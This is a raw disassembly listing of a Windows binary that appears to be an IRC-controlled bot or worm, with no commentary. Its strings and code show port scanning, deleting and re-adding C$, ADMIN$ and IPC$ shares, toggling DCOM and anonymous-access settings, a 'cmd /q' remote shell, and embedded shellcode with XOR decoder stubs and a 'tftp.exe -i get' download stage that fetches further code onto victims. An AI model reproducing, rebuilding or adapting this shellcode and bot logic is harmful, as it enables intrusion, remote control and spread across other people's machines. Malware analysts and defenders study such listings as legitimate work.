		align 10h
		dd 2, 4159F2h, 706D6F63h, 2 dup(0)
		dd 3, 415A3Fh, 6E756F63h, 797274h, 0
		dd 4, 415ADDh, 736Fh, 2	dup(0)
		dd 5, 415B52h
dword_438C04	dd 69257325h, 0		; DATA XREF: sub_415994+40o
					; ___:00415ABEo ...
byte_438C0C	db 50h			; DATA XREF: ___:00415A61o
					; ___:00415A6Er
		db 43h,	2 dup(0)
dword_438C10	dd 7C7325h		; DATA XREF: ___:00415B0Co
					; sub_415CFF+39o
dword_438C14	dd 5D73255Bh, 7Ch	; DATA XREF: ___:00415C16o
dword_438C1C	dd 334B32h		; DATA XREF: ___:00415C06o
dword_438C20	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5C+3Ao
dword_438C28	dd 5D4D5Bh		; DATA XREF: sub_415C5C+2Co
					; sub_415C5C+57o
unk_438C2C	db    2			; DATA XREF: sub_415D68+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_438CA0	dd offset dword_438CD8	; DATA XREF: sub_415F86+1B3o
					; sub_4162AA+17Ao
		align 8
		dd offset dword_438CD0
		align 10h
off_438CB0	dd offset dword_438CCC	; DATA XREF: sub_4162AA+1E3o
		dd offset dword_438CC8
		dd offset dword_438CC4
		dd offset dword_438CC0
dword_438CC0	dd 5C3A44h		; DATA XREF: sub_415F86+217o
					; ___:00438CBCo
dword_438CC4	dd 2444h		; DATA XREF: ___:00438CB8o
dword_438CC8	dd 5C3A43h		; DATA XREF: ___:00438CB4o
dword_438CCC	dd 2443h		; DATA XREF: ___:off_438CB0o
dword_438CD0	dd 494D4441h, 244Eh	; DATA XREF: ___:00438CA8o
dword_438CD8	dd 24435049h, 0		; DATA XREF: ___:off_438CA0o
unk_438CE0	db    2			; DATA XREF: sub_415F86+2E5o
					; sub_4162AA+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_438D20	db    2			; DATA XREF: sub_415F86+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_438D58	db    2			; DATA XREF: sub_415F86:loc_4161E8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_438D94	db    2			; DATA XREF: sub_415F86+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_438DC8	db    2			; DATA XREF: sub_415F86:loc_416155o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_438E04	db    2			; DATA XREF: sub_415F86+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_438E38	db    2			; DATA XREF: sub_415F86:loc_4160B8o
					; sub_4162AA:loc_4163D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_438E78	db    2			; DATA XREF: sub_415F86:loc_4160B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_438EC4	db    2			; DATA XREF: sub_415F86:loc_416093o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_438F08	db    2			; DATA XREF: sub_415F86+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F86+EDo
					; sub_4162AA+EDo
		align 4
unk_438F68	db    2			; DATA XREF: sub_415F86+91o
					; sub_4162AA+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_438FA8	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F86:loc_415FF3o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_438FD4	db    2			; DATA XREF: sub_415F86+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F86+54o
					; sub_4162AA+54o
		align 4
word_439014	dw 4Eh			; DATA XREF: sub_415F86+38r
		align 4
unk_439018	db    2			; DATA XREF: sub_4162AA+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4162AA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4162AA+219o
unk_439058	db    2			; DATA XREF: sub_4162AA:loc_416449o
					; sub_4162AA:loc_41651Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_439090	db    2			; DATA XREF: sub_4162AA+198o
					; sub_4162AA+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_4390C0	db    2			; DATA XREF: sub_4162AA:loc_4163D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_43910C	db    2			; DATA XREF: sub_4162AA:loc_4163B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_439150	db    2			; DATA XREF: sub_4162AA+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43919C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AA:loc_416317o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_4391C8	db    2			; DATA XREF: sub_4162AA+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4391FC	dw 59h			; DATA XREF: sub_4162AA+38r
		align 10h
dword_439200	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C4+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_439244	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C4+59o
					; sub_4165C4+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43929C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416715+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4392D4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416715+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_439324	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416715+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_439374	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41680E+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_41680E+8Co
		align 10h
dword_4393C0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E7+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4


loc_43940C:				; DATA XREF: sub_416C53+C4o
		jmp	short loc_439410
; ---------------------------------------------------------------------------


loc_43940E:				; CODE XREF: ___:loc_439410p
		jmp	short loc_439415
; ---------------------------------------------------------------------------


loc_439410:				; CODE XREF: ___:loc_43940Cj
		call	loc_43940E


loc_439415:				; CODE XREF: ___:loc_43940Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43941A	dw 0FFFFh		; DATA XREF: sub_416C53+CCw
		db 80h,	73h, 0Eh
byte_43941F	db 0FFh			; DATA XREF: sub_416C53+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_439424:				; DATA XREF: sub_416C53+A2o
		jmp	short loc_439428
; ---------------------------------------------------------------------------


loc_439426:				; CODE XREF: ___:loc_439428p
		jmp	short loc_43942D
; ---------------------------------------------------------------------------


loc_439428:				; CODE XREF: ___:loc_439424j
		call	loc_439426


loc_43942D:				; CODE XREF: ___:loc_439426j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_439431	db 0FFh			; DATA XREF: sub_416C53+AAw
		dw 7380h
		db 0Ch
byte_439435	db 0FFh			; DATA XREF: sub_416C53+B0w
		dw 0E243h
		dd 0F9h
dword_43943C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADC+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4394A0	dd 12h			; DATA XREF: sub_416ADC+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADC+79o
aJ		db 'j',0
		db 0E8h
dword_4394B9	dd 17h			; DATA XREF: sub_416ADC+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4394C0
		retn
; ---------------------------------------------------------------------------
byte_4394C0	db 0E8h			; CODE XREF: ___:004394BDj
dword_4394C1	dd 1			; DATA XREF: sub_416ADC+45w
byte_4394C5	db 0, 6Ah, 0		; DATA XREF: sub_416ADC+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4394CF	dd 0FFFFFFEDh		; DATA XREF: sub_416ADC+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FE8+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FE8+35o
dword_439550	dd 29E2C0h		; DATA XREF: sub_417300+4w sub_41730Ar ...
		align 10h
dword_439560	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_43956C	dd offset sub_417D73	; DATA XREF: ___:00419AB8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_439578	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_43957C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_439590	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_439594	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_439598	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_43959C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_4395A0	dd offset word_4395AA	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_4395A4	dd offset word_4395AA	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_4395AA	dw 20h			; DATA XREF: sub_42102E+18r
					; ___:off_4395A0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4397AC	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_4397B0	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_4397C0	dd offset off_4397C0	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_4397C4	dd offset off_4397C0	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_4397D8
		dd offset dword_4397D8
dword_4397D0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_4397D8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:004397C8o
					; ___:004397CCo
off_43B7E0	dd offset off_4397C0	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_43B7E4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_43B7E8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_43B7EC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_43B8C0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_43B8D0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43B8E8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_43B8F4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_43B900	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_43B904	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_43B908	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_43B90C	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_43B910	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_43B914	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_43B924	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_43B928	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_43B930	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_43B938	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_43B940	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_43B944	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_43B950	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43BA30	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_43BA34	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BB98	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43BB9C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
dword_43BBE4	dd 8, 0			; DATA XREF: Themida_:0050D958o
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43BC10	dd 3			; DATA XREF: ___:0041F003r
					; sub_421C3C+C8r
dword_43BC14	dd 7			; DATA XREF: ___:0041F009r
					; sub_421C3C+CDr
dword_43BC18	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_43BC1C	dd 8Ch			; DATA XREF: ___:0041F02Dr
					; ___:0041F03Aw ...
dword_43BC20	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_43BC28	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_43BC2C	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_43BCB8	dd offset dword_48A320	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_48A320
		dd 101h
dword_43BCC8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_43BCD8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BCF8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BD28	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_43BF38	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_43BF40	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_43BF58	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_43BF70	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_43BF74	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_43BF78	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
off_43BF7C	dd offset dword_545350	; DATA XREF: ___:off_43BFFCo
		dd 0Fh dup(0)
off_43BFBC	dd offset aX7eQs	; DATA XREF: ___:off_43C000o
					; "-&7eq"
		dd 0Fh dup(0)
off_43BFFC	dd offset off_43BF7C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_43C000	dd offset off_43BFBC	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_43C008	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_43C00C	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_43C010	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_43C018	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+17w
					; sub_420BAC+26r ...
dword_43C01C	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_43C020	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_43C024	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43C054	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_43C058	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43C090	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
